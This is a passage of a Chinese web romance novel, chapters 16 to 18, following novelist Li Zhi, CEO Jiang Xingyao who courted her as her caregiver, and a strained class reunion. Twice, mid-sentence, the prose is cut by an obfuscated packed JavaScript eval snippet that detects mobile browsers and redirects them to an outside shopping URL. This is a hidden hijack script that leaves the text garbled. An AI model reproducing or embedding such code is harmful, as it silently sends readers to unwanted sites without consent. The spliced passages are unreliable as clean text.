江启楠沉吟片刻,低声说:“利小姐,您现在是蒋总的客户,我们都是蒋总的下属,所以,我们要对你恭敬的。” “……” 是他们还在协议期,她还是蒋星尧的雇主的意思吗? 利知的心情顿时复杂起来。她怎么一跃成为了食物链顶端的人咧? 只是可怜的他的助理了,利知叹着气,拍了拍江启楠的肩膀,结果对方虎躯一震的憾动感,实实地把利知吓了一跳。 晚上,利知问蒋星尧为什么不用练凝送餐。 蒋星尧沉声道:“你很想她送?” “……没啊。” 蒋星尧嗯了一声,“她太跳脱了,不大适合送餐。” 利知听了嘴角微抽,“送餐得是多艰巨的任务啊!” “是我对给你送餐的事的重视。”蒋星尧抚着她的发丝,声音很是轻柔,“那可是代替我的呢。” 利知沉沉地看他一眼,忽然觉得他好像哪里不一样了。 再细看,哦,穿的睡衣不同了。该不会是把之前带来的睡衣都换了一批了吧。 往常穿的都是中规中矩的睡衣,今晚的…… 黑色冰丝绸质地的长睡袍,除了中间系带的地方掩实之外,上面和下面分别形成了正V和倒V。 当事人浑然不察觉利知的审视,看了一眼挂钟的时间,起来走向厨房,背着身丢下一句“我去热个药”,整个过程行云流畅。 不一会,蒋星尧端着一碗药走出来,利知抬头一看,连忙捂住心口,另一只手则悄然捂上眼睛,然后透过指缝看向走过来的人。 冰丝绸本来就贴身,睡衣中间靠腰带维系着,形成了上半身正V,下半身倒V。 白皙的肌肤与黑色形成鲜明的黑白对比。 更要命的是,向她走来之时,大腿白皙瘦削又结实的线条,简直显露无疑! 蒋星尧把药放在她面前,伸出手挪开她覆在眼睛的手,用温柔又不容置疑的语气说:“赶紧喝完!” 利知端起碗,二话不说一口闷完。 彼时蒋星尧还站着,微侧着肩膀,掌开大手轻轻碰了一下她的腮帮子以示鼓励,“真棒!” 利知心跳加快,眼前的人穿着大胆诱人,却一本正经地监督她喝药。 他是怎么做到的,还一点都不违和! 利知觉得自己有善意提醒的义务,“那个,你现在这种穿着,以后还是少穿了吧。” 蒋星尧低头看了自己一眼,并没觉得不妥,“我这一身怎么了?” “你不觉得太那个了吗?” “哪个?” “露啊……” “我觉得还行啊,平时我在家就这么穿的。”蒋星尧拢着睡袍坐了下来。 他还嫌事不够大那般,把一条长腿轻飘飘地搭在另一条上面,这么一来,倒V处露出更多白皙的肌肤。 “你你你!”利知红着脸,慌不择言起来,“你穿好点!” 他顿了下,随即嘴角勾起一抹意味不明的笑,“知知啊,你现在的反应,好像挺喜欢我这样穿的。” “……不是我没有!” 蒋星尧侧目端详了她一会,随即悄然大悟,“原来是这样。” “什,什么?” “你喜欢色、诱的追法。”他语气笃定道。 静默了一瞬,利知嗖地站了起来,又觉得反应过于大,便低声交代说:“我累了,先去睡了。” 说着疾步往房间走去。 不一会响起了不轻不重的敲门声,门外响起蒋星尧的声音。 “生气了?” 利知不吭声。 蒋星尧软下声来,“聊聊好吗?” 利知想了想,朝外面喊了一声,“你说。” “想着用这种方式博取你关注,”蒋星尧自嘲一笑,“还挺幼稚的吧?” 利知揪紧被子的手松软下来了,她知道自己反应过多,多少是有些恼羞成怒了。 下了床,拉开房门。 倚着门的人一个趔趄,站稳之后也不恼,反而向利知展开一个灿烂的笑容。 “蒋星尧,”利知的神情归复平静,语气也没那么别扭了,“我,我没有别的意思,就是……我需要时间……” 需要时间去理顺,对于他身份的转变,是原谅是接受,还有那份埋藏过深,正逐步挖出来的喜欢。 她不知道蒋星尧能意会多少,但从他敛起笑意,一本正经的样子看来,应该能懂吧。 果不其然,蒋星尧一脸正色道歉,“抱歉,是我太心急了。” “知知,你不用有心理压力,权当我还是个陪护好了。之后的事,你有权接受或是拒绝的。” 利知如释重负地舒了一口气,抬头朝他一笑,“那,晚安。” “晚安。” * 之后蒋星尧没再有类似幼稚的行为了,但像被打通了任督二脉那样,或者说他深知自己的长处在哪,把诱惑潜藏在不经意间。 首先表现在穿衣上,当然介于那晚利知的反应,他也收敛了不少。 只不过是一到家,衬衫扣子就没好好地扣过,还解得恰到好处,少一颗太禁,多一颗太欲。 睡袍换成了同样冰丝绸的长袖深V领纽扣的睡衣。 总是一副不纯不欲的模样去给她热药,然后紧紧地盯着她把药喝完。 当然也顾忌着她的感受,每次都点到为止,见好就收。 第十四天的晚饭是蒋星尧回来做的。 利知说得口水都干了,她一再表示自己可以搞定午晚餐的,可无论她怎么说,蒋星尧依然一副油盐不进的样子,还笑着说,工作固然重要,陪知知吃饭一样重要。 翌日,利知早起,出来看到桌上已经摆着早餐了,还有一束装在玻璃花瓶的奶茶色玫瑰。 利知过去嗅了下玫瑰,清淡沁鼻。 厨房里榨汁机停止工作,蒋星尧端了两杯橙汁出来,利知问他怎么买花了。 蒋星尧挤眉一笑说:“今天是个特别的日子啊。” 利知一想,还真是挺特别的。今天是蒋星尧做陪护满两周的日子。 “喜欢这个颜色吗?”蒋星尧问,“老板说女孩很多都喜欢这个颜色。” “艳色耀眼,浅色淡雅,我都喜欢!” 蒋星尧笑得意味深长,“那以后送花没什么忌讳了。” “我又不是叫你送花……”利知夹起一个小笼包咬一口,随即愣住,抬头幽幽看向蒋星尧,“你又去勤顺记买早餐了?” 虽然是问,那味道利知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722532|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一尝便知道了。 “楼下的早餐就很好了,不用特意跑那么远的。” “你不是说过,谁一早给你带勤顺记的小笼包,你就嫁给他吗?”蒋星尧对她眨了眨眼,“我的要求不高,能得到你的认可就好!” 还记得蒋星尧来这里的第二天一大早就去了买勤顺记的早餐,当时他说的是,他想吃就去买了,现在已经毫不掩饰,是从她的微博日常窥探过她的喜好了。 利知也不回他话,只是向他扬了个温柔中不失假意的笑。 蒋星尧不禁长吁短叹,“满身铜臭味的商人追作家,果然是隔山隔牛又隔虎啊!” 利知觉得好笑,“你从哪听来的?” “网上看到的。” 利知打趣他,“怎么没顺便问一下,商人怎么追作家?” 蒋星尧皱着眉,似乎回忆起什么不愉快的经历,随后轻叹道:“网上问的不靠谱。” 临出门前,蒋星尧说今晚会提早回来,到时接她出去吃饭。 他说这句话时,白衬衫敞开了一二三颗扣子,豆沙色的领带松散地挂在两则,又欲又痞,他却浑然不知那样,散漫地系着扣子。 待他系领带了,忽然偏过头来紧紧盯着利知,长指被豆沙色映衬得更加白皙、细腻,那灼灼的眼神仿佛有了实质,抛出一个个诱人的勾子。 利知艰难地咽了咽口水,眼睛却不舍得离开。 好吧!她承认! 她能抵得过蒋星尧的满嘴火炮,却抵不过他的近身诱惑。 明撩易挡,暗诱难防啊! 她就是这么没出息! 经过这些日子的锤炼,蒋星尧好像深知这一点,什么时候该撩,什么时候该诱,把握得可不是一点点准! 利知真的怕了,怕自己突然失了理智,着了他的道。 那他就更加理不直气也壮了! 大门关上的那一刻,利知重重地舒了一口气。那种感觉说是好比成功走过钢丝,一点都不为过。 然而,又面临一个新问题了。 蒋星尧早出前就约定了今天,就是第十五天晚上出去外面吃饭。 现在想起来,当时他那么庄重地邀约,估计是想趁着今天表明身份吧,然而却被利知早几天知晓了。 那,今晚的晚餐,会是约会吗? 他不会像电视剧的情节那样,高级餐厅,红玫瑰,在萨克斯或小提琴的演奏下,来一次正式的表白吧! 要真是这样的话。 俗,太俗了! 利知趴在餐桌上,嘴角挂着压不住的笑意,手指轻轻拨弄着奶茶色的玫瑰,周围散发着馥郁的香气,此时花还没全开,要全开了色泽应该比现在更淡了。 如果蒋星尧再次表白,那她要给什么反应呢? 其实在她提出陪护续期的时候,内心的天秤早已倾向于他了。接受不接受,只是不过是时间的问题。 如果单就这半个月的时间,的确是短促了点,但把时间的杆子伸回到高一,那就一点都不短了。 午饭后,利知敷了面膜,挑衣服,化妆,编了鱼骨辫子。 重新站在镜子前,利知才惊觉已经好久没好好捣腾过了。上一次,应该是半个月前,蒋星尧来的那天了吧。 才过去半个月啊,竟然恍若隔世了。 电话响了,是蒋星尧打来的。 利知看了眼时间,离吃晚饭的时间还早啊,便狐疑地接起电话。 蒋星尧的声音有回响,似乎身在空旷的地方,“知知,我人在机场呢。” 利知一怔,“你要飞?” 他的语气带着浓浓的无奈,“唔,飞西北。临时出了些小状况,晚上不能回去了。” “没事,工作要紧。” 蒋星尧习惯性地叮嘱起来,“药没剩多少了,记得按时喝完;别熬夜码字了,尽量白天码,午饭晚饭都不用操心,我叫江启楠送过去。” “不用再送了,”利知说,“我自己能搞定的。” “外卖吗?” ……呃。 利知小声说:“我可以自己做。” 蒋星尧笑了,“还不知道你!忙到忘了时间又是外卖应付了。” 利知鼻头一酸,所以,这就是他坚持让助理送饭的原因吗? “真的不用了,你不在,江助肯定会很忙的。”利知思想了一会,“要不这样,我不忙就自己做,实在不行,就去好一点的餐厅吃,绝不马虎对待每一餐。你看怎样?” “好吧。”蒋星尧叹了一口气,“真希望天天在你身边啊。” 利知脸一红。 “知知,”蒋星尧的声音清透缱绻,把嘈杂少不断的广播声隔绝于外,“等我回来。” “好。” 挂了电话,利知靠窗眺望。天气预报说今天会下大雨,早上起来还阳光明媚着,利知还不信呢,此时乌云乌泱泱地压下来,大有痛快来一场的趋势。 不一会就雨声潺潺,轻轻重重地敲打在玻璃窗上。这场雨造势磅礴,下得却缠缠绵绵。 如果雨能在晚饭之前停下来,就出去豪吃一顿吧,利知想,毕竟今天是个值得庆祝的日子啊。 幽暗的室内逐渐明朗,利知伴着雨声查起了吃饭攻略。 六点一刻,雨下成稀疏的雨丝,利知撑着伞出去坐地铁了。 这次去的是城东的一家顶层西餐厅,这里位置优越,能饱览两岸一带的夜景。 利知在舒缓的音乐声中,慢慢品尝美食。 奶油鸡酥盒、罗宋汤、蔬菜焗青口、菲力牛排、水果沙拉、舒芙蕾和咖啡。 离开餐厅已经是两小时之后了,雨已经停了,但地上还是湿漉漉的。 利知打了一辆车直接回到小区门口。 路过花店的时候,忍不住驻足,花店老板是个三十多岁的男人,正忙着把摆在外面的花收回店里。此时门口处仅剩两个白色塑料高桶了,其中一个歪歪斜斜放着几株奶茶色玫瑰。 利知抬步进了店里,不一会,抱着一大束红玫瑰出来了。 进了电梯,看着镜子里那一束妖艳的红,利知自嘲地笑了。 她也不过是个俗人。 17. 第 17 章 第十六天,也是蒋星尧离开的第一天,江启楠一早带着两个人敲响了利知的门,见到他身后穿着严实的防护服的人,利知一脸懵了。 江启楠轻咳了一声,“蒋总说你身体还没恢复很好,怕家里还有残余病毒肆虐,叫我请来人消毒。” 利知请人进来了。江启楠率先带人进了蒋星尧住的房间,把里面喷洒了一遍,接着又把整个屋子里消毒。 江启楠走到利知身边,恭敬道:“利小姐,蒋总一时半会也回不来,我要把他放在房间里工作上用的东西先拿走。” “你拿吧。”昨天蒋星尧微信上和她说过,江启楠会来取些文件的,因此就没多过问。 消完毒,江启楠拉着一个行李箱,和大白就要出门,利知叫住了他,“蒋星尧,要处理的事情很棘手吗?” 江启楠纠结地拧着眉,利知甚至怀疑他正在斟酌着措词,过了一会,他才说:“是挺棘手的,但我相信蒋总能很好地解决的!” 把人送走之后,利知再次推开蒋星尧住过的房间,果然如江启楠所言,蒋星尧的笔电、文件等一切办公用品一件没在房间。 床铺叠放整齐,米黄色的窗帘,以及依旧的窗明几净,一切都和蒋星尧来之前无异。要不是桌子上还摆放着他的一些个人用品,还衣柜里的男式衣服,利知都要怀疑这半个月只浓缩成了她一晚的梦而已。 利知走到门口,折身握住门把手,轻轻一拉,房间内的一切,随着房门的徐徐合上,消匿于视线里。 他们半个月来的雇用关系,也就此结束了。 * 利知把大纲改了好多遍,终于在方巧泽的催促下,硬着头皮交上去了。 做好心理准备又被退回,大不了闭关修大纲!没想到这次竟然通过了。 大纲过稿,接下来就要写正文了。 要说大纲磨人是被大佬们磨,写正文才是真正的自磨。 每到这个时候,利知就会尽量隔绝外界的干扰,专心码字。 而蒋星尧上任纵卫集团CEO的新闻,就是在这个时期放出来的。 “一个药企总裁的上任视频,居然被不同的视频号转载,蒋星尧单凭一张脸就火出圈了哈哈哈哈……” 高晓莱把转载过的博主如数家珍般告诉利知,“有没有满满的危机感啊,压力山大?” 利知老神在在道:“是我的终究是我的,不是我的强求也没用。” 高晓莱啧啧两声,“你这么佛系你妈知道吗?” 利知温柔一笑,话里却藏刀,“你可以告诉她试试!” 高晓莱赔笑着说:“不敢不敢!” * 蒋星尧上任的视频热度又随着一波对他的科普而推上了顶峰。 利知在洋洋洒洒的褒贬不一的科普中了解了的大概。 原来蒋星尧在大一下学期,就以实习生的身份进入纵卫工作,他从底层默默攀爬,甚至纵卫里的人都不知道他的身份。 直到大三暑假突然转正。一个大学生在大企业转正,很快就引来旁人的诟病。 转折点在三个月后,也是蒋星尧大四那年,蒋姓产品经理突然退了下来,蒋星尧一跃成为产品代理经理。 而那位退下来的蒋姓产品经理,大家纷纷说是董事长儿子。 一时之间,矛头者指向取而代之的蒋星尧,说蒋星尧使计把董事长儿子推了下来,就是一阴狠毒辣小人。 那段时间,对蒋星尧的各种揣度,或是带着恶意,或是猜测。 也有些人说,蒋星尧才是纵卫正儿八经的太子爷,退下来那位才是鸠占鹊巢。但这是零星的几个人说,没引起什么风波。 没过多久,董事长以个人名义发了个声明,说蒋星尧才是他的儿子,原产品经理是他的侄子。 尽管这样,舆论也并没对他友好。风向变了矛头没变,莫名地诋毁蒋星尧,说他道德败坏,人品不行等等。 那波热度很奇怪,明显是有人故意为之,集中对蒋星尧各种黑,利知实在看不下去。 但她截取了黑料的关键人物,都是把那个蒋星尧的堂哥,名叫蒋锐的人,摆在了被害人的位置。 利知就此事找过蒋星尧,蒋星尧安抚她说不会有事的,明天这类消息马上不见。 果不其然,第二天,网络上剩下的都是关于他上任的消息。 那速度和熟练程度,还有那份不在意,利知想,他到底处理过多少回了? 这段时间更文之余,利知多了股以前追星的热忱,从各种犄角旮旯中了解到更多关于蒋星尧的事。 比如,自他执管生产和销售之后,效益比以前提升了不是一个级别。以至于25岁没到,他父亲就放心把公司交给他管。 行事作风更是快狠准,在底层不披露身份的情况下,依然得到上司的青睐,说是扶摇直上也不为过。 还有报道说,纵卫做为药企巨头,CEO的薪酬已经名列前茅,加之蒋星尧持有纵卫股份,他的个人资产已经达到国内同行来CEO之首了。 利知悻悻然地看完,一抬眼正好看到镜中的自己。 因为熬夜两眼变得无神了,更是熬出来了黑眼圈。因为天天待家里,衣着更是不修边幅。 啊啊啊啊!!她过去的半个月,就以这么一副尊容面对蒋星尧的! 她到底哪来的自信?反正现在到处都找不到了。 她索性丢开手机,瘫坐在椅子上,仰着头两眼无神地盯着天花板。 她和蒋星尧的区别,没什么的,不就是大象腿和蚊子腿的区别,而已。 * 蒋星尧上任的风波渐渐平息过后,利知继续和新文搏斗。 那是在一个懒洋洋的午后,利知正与一个转折点互相折磨之际,困乏与抓狂交织之时,韩习冰又打来了电话。 “利知,下周的同学聚会你参加的吧?” 利知划开椅子起来,大大地伸了个懒腰,“西饼啊,你还一个个通知吗?” “哪会啊,”那边也不纠结她的称呼了,只是清笑了一下,“还不是看在昔日同桌的份上,多给你提个醒。” 听到她那不善的语气,利知说起话来有些敷衍,“我会留意群消息的。” 韩习冰微微蹙眉,似乎对她的态度不满,随即想到什么,勾起唇说:“哦,对了,我把蒋星尧也叫来。你之前不是挺喜欢人家的吗?不去见见吗?” 利知自动忽略她后面的话,脑海里只有一个疑问,“蒋星尧会去?” “是啊。” “他跟你说的?”利知再次确认道,没听他说起呢。 “他答应了啊。”韩习冰停顿了一下,讥笑道,“不是会留意群消息吗?我们班和五班一起聚会的消息漏掉了?” 利知抚额,最近趴网和更文,把群消息漏看了。 韩习冰的语气不耐烦起来,“你来不来?” 利知不懂了,“我去不去,真有这么重要么?” “替你担心啊,天天宅家里,不怕闷坏?” “我享受得很!” “真不知该怎么说你,”韩习冰长叹了一口气,语气拉得悠长,“总是窝在背后不出来,是懒还是怂?” 都这么多年了,韩习冰锐气逼人的语气还是一点没变。 “是啊,经常见面的同学也都知道,我还是老样子。”利知扬起嘴角,笑意却不抵眼底,“不常见的,也没见面的必要了。” 那边似乎被噎住。 “我还要忙,就这样吧。”利知直接挂了电话。 韩习冰的电话让利知原本就不太美妙的心情更加不好了。 被韩习冰这么一打断,利知彻底没了码字的心情了,干脆关掉电脑,饶了这渐渐发烫的机器。 拿起手机想问一下蒋星尧,字没打上又退出来,没由来的一阵烦躁。 她还没理清这份烦躁来自于哪里,但她的确被韩习冰影响了。 其实一开始她和韩习冰不是这样的。 高一她们成了同桌之后,两人有好一段时间处得不冷不淡的,改变始于一次利知被一群小太妹围堵。 那时利知在本区也没熟悉的朋友,就一直独来独往的,结果被附近游荡的小太妹给盯上了。 那次利知被她们围堵在小巷子里,要她把钱都交上去,她知道这时不能逞强,正准备交上钱的时候,韩习冰带着两个男子过来给她解围了。 利知之后才知道,那两个男子是她临时在街上拉过来帮忙的。之后又陪着利知找学校,找片区民警在周围加强巡逻,小太妹没再找来了。 利知很感激韩习冰,连续给她带了两周早餐作为感谢,慢慢两人熟悉起来。 之后韩习冰有什么事,她第一个跳出来帮忙,帮她收发作业,各种登记报名和后勤,出黑板报等。 久而久之,同学们都笑称利知是韩习冰的小跟班。利知听了也就一笑而过。 韩习冰和爸爸关系不好,经常一吵架生气就去利知家里过夜。利知也去过韩习冰家里蹭饭,大部分时间只见到韩习冰妈妈在家。她妈妈是个温柔贤惠的女人,对利知也很好。 韩习冰的爸爸出轨了,小三还嚣张地登门宣示主权,这些利知都知道。韩习冰说这些事只告诉过她,其他人并不知道的。 两个人的关系从什么时候变了呢? 应该是在蒋星尧和韩习冰首次传出绯闻开始的。 那件事缘起一张照片,两个人站在黑板报前相视而笑,利知之所以记得那么清楚,因为他们身后的黑板报是她和韩习冰一起出的。她写字,韩习冰画画。 那天温女士刚回来栗城,就带着利洛来找她,她写完字没等韩习冰就离开了。 那照片,估计是她离开后,蒋星尧才过来找韩习冰的时候拍的。 自那张照片流出之后开始疯传,有说他们初中就是一所学校的明星人物,早就在一起了。 也有说他们是邻居,是青梅竹马。 其中还参杂了很多真真假假的,令人难以定论。 看到这些利知心里五味杂陈,以前从没听韩习冰透露过她与蒋星尧有关系,要不然,她也不会把自己喜欢蒋星尧的事告诉韩习冰了。 她还记得,韩习冰听到她说喜欢蒋星尧,轻笑着打趣利知,“喜欢就喜欢了呗,喜欢他的人多了是,反正他不会喜欢你的,你不是他喜欢的类型。” 利知还纳闷她怎么这么清楚呢。 后来利知问韩习冰为什么不把她和蒋星尧的事告诉她,韩习冰没解释,只是不冷不淡地说了句,“那又怎样?” 之后两人仿佛达成一种约定俗成的默契:去双方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725676|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家串门的次数渐渐缩成了零。再一次出黑板报,韩习冰找的是另一个同学。 利知以为两个人会一直这么下去,直到班里传出韩习冰爸爸出轨的事,韩习冰怒气冲冲地质问利知,是不是她说出去的。 利知说这件事她没和任何人透露过。 韩习冰冷笑道:“不是你还有谁?这件事烯媚都不知道的。你是不是对我不满?因为蒋星尧就想要报复我吗?利知,你不会以为就算没有我,你和蒋星尧就有可能了吧?我以为你也就窝囊软弱了点,没想到还卑鄙,喜欢背后捅人一刀。” 利知怔愣,“为什么认为是我?” “因为你这个人一身毛病,多一个不稀奇。” 她最记得,韩习冰当初以一种冷到掉渣的眼神睨着她说:“我当初就不应该出手救你,就该让小太妹挫一下你。” * 之后的日子里,利知埋头写文,有时日夜颠倒,等反应过来又在一天之内把生物钟强行扭转过来。那过程别提多难受。 和蒋星尧的聊天有一搭没一搭的,他似乎很忙,经常是三两句话就能贯穿一天。 利知偶尔会发一些碎碎念,很多时候直到分享欲冷却下来了,蒋星尧才回信息。 并没有冷淡,只是间隔很长很长。次数多了,利知就没了那股分享欲了。 利知终于喝完最后一袋中药了。 把喝完的中药袋照片发给蒋星尧,[我喝完啦] 没得到回复。 跟手发了一条朋友圈,说是要闭关写文,接下来很长一段时间都不闲聊。 她想,这不失是一个契机,冷却掉的契机。 * 新文她压根写不下去,总觉得哪里都不对劲。 那天方巧泽微信找不到她,径直给她打电话了。 “这个月26日的读者见面会,别忘了啊。” “知道了。”那恹恹的气息透过电波都能感知。 方巧泽问她怎么了,利知坦白写不出好的东西。 “你这状态,是不是谈恋爱太上头了,没灵感了?” “我没谈恋爱啊。” “黄了?”方巧泽问。 “不是,就是觉得……”利知停顿一会才艰难开口,“自己配不上他。” 多日以来,那些不可名状的情绪,终究化作实质的一句:她不配。 有一点韩习冰没说错的,她的确是胆小懦弱,遇事则退。 在得知蒋星尧的真实身份后,她就对与他的关系,做了最坏的打算,只是那时在缓冲期,本来就有很些因素去消化。 直到韩习冰来的那通电话,她才理解情绪反扑的后劲了。 这么多年过去了,她以为自己已经不是当年那个她了,其实不然。 它只是像一个被用魔法困进瓶子的恶魔,一朝被放出来了,威力不减地狠狠撕咬着她的神经。 不记得在哪看过的一句话,说内心无牵挂时,自卑起码能隐藏起来,可一旦喜欢上一个人的时候,自卑就如空气般,无时不在。 痛苦和自卑只是暂时被遗忘,却从未消失。 “泽姐,我觉得自己像一只鹌鹑,胆小、懦弱,遇到棘手的事就想退缩,有很强的畏惧心。” 方巧泽嗯了一声,“的确像只鹌鹑。” 利知期期艾艾,“你也觉得吧?” 方巧泽忽然转了个话题,“还记得两年前,你选择我做你代理人的时候说过的话吗?” 两年前利知的上一个代理退休了,上面把手里的作者分给两个代理,一个是有丰富经验的男代理,另一个就是方巧泽。 当时方巧泽二胎上了幼儿园后初返职场,又是跨行业,很多有选择权的作者都选了男代理,除了利知。 方巧泽说:“你说全职妈妈重返职场很不容易,然后毫无迟疑地选择了我。” 当时她挺感动的,脱离社会几年,有各种的不习惯,还被逼面对现实的善。 利知虽然比她小,却对她有知遇之恩。 “事实证明你很有眼光啊,你看我催稿比别的代理都尽责,你的年产量稳升不降啦!” 汗! 方巧泽温声说:“你说的那些不过是民间对鹌鹑的解说,实际上鹌鹑性格温顺,和同类相处和睦,如果非要用它来形容一个人的特性,那就是天真无畏,心地善良。当然,它受到威胁也会发出攻击的。” “鹌鹑姑且有人对它不同的理解,更何况是人。一千个人有一千个哈姆雷特的道理,你写小说的理解更深刻啦。” 通完电话之后,利知伫立远眺了,视线被无限拉长。 时值傍晚,阳光变得懒洋洋的,手触在阳台栏杆上还留有余热。 方巧泽的话犹在耳边响起,“泽姐是过来人,可以负责任地告诉你,你遇到的问题,只要不关乎到生死的,你都可以凭自己的能力去击败它。就像你现在写作上遇到的瓶颈那样,积极则突破,消极则停滞。” 不知过了多久,利知才收回视线,余光忽然有一抹紫色摇拽。 她转过头,当初蒋星尧安装的花架上,此时已然葱葱郁郁,上面点缀着傲然的紫。 利知给花拍了照,点开蒋星尧的聊天框,发了过去。 [开花了] [这盆叫什么名字来着?] 18. 第 18 章 消息发出去之后,利知心里挺忐忑的。 在她说要闭关写文之后,蒋星尧有找过她的,尽管利知没回消息,他依旧每天都会发一两条。 这时,蒋星尧的信息进来了。 [夕雾草] 夕雾草啊。这个名字利知在蒋星尧买它回来,在阳台装架子的时候听他说过的。只是她忘了。 那边正在输入了好一会,然后是一段长文字:[我对老板说,想要一种时时刻刻表达我想法的花,老板推荐送这个了] 利知默了默,退出界面去查夕雾草的花语。 迟迟没得到回复,蒋星尧问:[不问问我是什么想法?] 利知干脆停下,返回来问:[什么想法?] 那边的人仿佛装了监控那般,[查到了吗?] 利知的脸一热,[就这么肯定我会查?] 他笃定,[你不问我,就问网络啦] [网上写的花语五花八门,最能表达的是]他故意把一句话分开,像是给人留足悬念。 他写道:[热烈的思念] 利知动作一顿,一时不知怎么回。 蒋星尧:[方便接电话吗] 利知想了想,还是回:[嗯] 电话接通后,双方都陷入了短暂的沉默。 随后是蒋星尧先开口,语气带着些试探,“出关了吗?” 不知怎么,利知的心情好了些了,语气也轻快了,“暂时出来透透气。” “还要闭关?” “嗯呐。” “太久没聊天了,心里不踏实。”说着不可抑制地咳嗽起来。 利知一愣,“你怎么了?” “感冒还没好。” 利知这才发现,蒋星尧的声音带着些感冒未好的鼻音。不浓,需要仔细才能辨认。 “什么时候生病的?”她才好,蒋星尧就生病了,“不会是被我传染的吧?” 蒋星尧笑着说:“不排除有这个可能。” “现在还有不舒服吗?咳嗽多久了?有没在吃药?” 利知发出连环问,蒋星尧听得喜滋滋的,“好得差不多了,还在喝止咳药水。” 利知抿着唇,唇线都快往下弯了,“我……对不起。” 她生病难受的时候,蒋星尧一直陪在她身边,轮到他生病了,她不在身边,对他的情况还一概不知。 可转念一想,不对啊,“你生病了为什么不告诉我?” “怕你担心啊,像现在那样,怪自己传染给我了。” “我……对不起嘛……”利知低声道着歉。 蒋星尧叹了一口气,“早知道当初病得开不了口的时候,找你卖惨好了。” “啊?你病得说不出话?” “没发现我前段时间几乎没打电话给你吗?”他说,“就是怕你自责,才不敢打给你。” 那段时间每天开不完的会,还因为发烧不得已停歇了一天半,后来就讲不出话了,得找旁边复述,硬是把进度条拉长了一大截。 利知听得一愣一愣的,原来他当初病了,还那么忙才不怎么回信息的。 可那时她呢?想趁着这个机会,把这份暧昧冷却下来。 一时之间徒生起满满的愧疚感,她张了张嘴,最后只能又轻声道歉,“对不起。 “又道歉。”蒋星尧无奈地说,“我说这些不是要你愧疚的。” “我是怕再不解释,”他用委屈巴交的语气说,“回去你就不理我了。” “哪有……”利知这句反驳得有些心虚了。 “每天看到看着聊天框里一片绿,心里就发慌。” 他说的是这段时间来利知不回他信息。 “我不是说了嘛,我要闭关写文。” “嗯,所以,把我也排除在外了?” 利知不出声了。 “还是说,只想排除掉我?” “不是我没有!”利知下意识地否认,随即嗫嚅,“现在不是联系你了嘛……” “知知,”蒋星尧语气认真起来,“以后别不理我,好吗?” “好。” 听到了保证,蒋星尧低低地笑了起来。 利知不知道自己的回答有什么好笑的,便问:“笑什么?” “好多天没笑过了,”他用混不吝地语调说,“笑笑也不行?” 他说的好多天没笑,是因为生病,还是工作太忙,抑或是她没回信息? 利知不得而知,也不追问,索性闭口不语。 她的神情软了下来,心情也较之前好了许多。又想到这次找他的目的,利知踌躇了一会,决定还是问一下。 “听我的同学说,这周你们班和我们班一起办聚会,你答应去了?” “嗯?我答应了?” “……”好问题!她竟无言以对。 蒋星尧也意识到自己问得很废话,敛神思索了一会,试图从最近杂乱无章的生活里找到一些蛛丝马迹。 他徐徐道:“我们班长是找过我,说大概月初的搞个班级聚会,我说如果时间不冲突会去的,后来又是上任又是出差,就把这件事忘了。” 他停顿了下,问:“和你们班一起聚会?” “是啊。” “这个我真不知。”蒋星尧问,“具体哪天聚?” “这周六。” 今天周四了,也就是后天聚会。 “这边还没忙完呢,”他无奈地说,“聚会肯定不能参加了。我等下跟班长说一声。” 利知总算理清了,韩习冰压根就没找过蒋星尧,只是从他的班长那里得知他会去的消息而已。 韩西饼,说谎了! * 因为临近聚会,同学群里热热闹闹地垒起了高楼。 利知忙完去看消息,正爬楼看着大家聊吃的聊聚会的地方,突然被@了。 她停下来跳回底部,原来是韩习冰@她。 韩习冰:[@利知来不来嘛/调皮] 林烯媚:[利知不来吗?] [我都很久没见过你啦,小聚都没见你来。以前不都习冰去哪利知就去哪的吗?我们还开玩笑说利知是习冰的小跟班哈哈,想想以前的热闹也挺怀念的] 钟枞:[@林烯媚可别!利知现在是大作家了!可不能叫小跟班了] 林烯媚:[是哦嘿嘿!但我真的很久没见到利知啦。] [@利知真的不来吗?还想沾沾大作家的福气呢!] 韩习冰:[@利知还在忙吗?还是在生我的气?] 林烯媚:[@韩习冰为什么生你的气啦?] 韩习冰:[前几天给利知打电话,我们俩吵了几句] 钟枞看热闹不嫌事大,[旧事重提吵的?] 林烯媚:[因为蒋星尧?男神!!!] [不对啊,我们班很多女孩子都喜欢过蒋星尧啊,我当时还幻想过嫁给他呢!可是那种喜欢不同的啦。听到男神恋爱了,我相信利知也会和我们一样衷心祝福的,对不对?@利知] 利知:…… 很好!她答是不行,不是也不行。 韩习冰适时出来了,[你们别乱猜啦,是我和利知有些分歧,其实我也有错的] 利知后知后觉,随即拉上去把刚才的聊天看一遍,不禁心里暗呼:好家伙!真是好家伙! 她们姐妹仨一唱一合,让她难堪的同时倒逼她一把。 她说不去,显得她小气,还在对陈年旧事耿耿于怀。 去嘛,那更好了!有什么事尽让她在面难堪。 韩习冰这是私底下劝不动了,再用一众同学的压力逼她一把吗? 她低头敲打着屏幕回复:[@韩习冰我没生气啦/微笑] [我还没看完聊天记录呢,是不是错过了什么精彩内容/微笑] 林烯媚:[是啦,我们班和五班一起聚会呢,都知道吧?然后是习冰亲自邀请的男神,我们聊了一会男神和习冰的事,然后就聊到你啦] 利知:[哦哦这样!] 